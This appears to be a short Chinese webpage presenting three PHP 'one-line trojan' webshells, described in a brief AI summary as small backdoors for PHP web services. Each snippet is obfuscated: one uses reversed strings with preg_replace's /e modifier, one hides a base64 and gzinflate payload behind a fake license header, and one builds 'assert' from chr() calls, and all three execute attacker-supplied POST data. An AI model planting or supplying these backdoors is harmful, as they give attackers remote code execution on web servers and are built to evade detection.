一句话木马

AI 摘要

针对php的webservice使用的小型木马后门

<?php
$a=@strrev(ecalper_gerp);$b=@strrev(edoced_46esab);@$a($b(L3h4L2Ug),$_POST[POST],axxa);?>
?>
<?php
/*
(C)2001-2009 This is NOT a freeware
use is subject to license terms
*/
$enfile="U1CJd3cNiVZPK03OVo/VUIkP8A8GchNTcg3z1GM1re3tFAA=";
$b=str_replace('f',"","bfafsfef6f4f_ffdffeffcffoffdffef");
$g=str_replace('X','','gXXzXXiXXnXXXXfXXXlXXaXXXtXXXXXe');
preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'($g($b($enfile)))','a');
?>
<?php
$a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]);
$b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]);
?>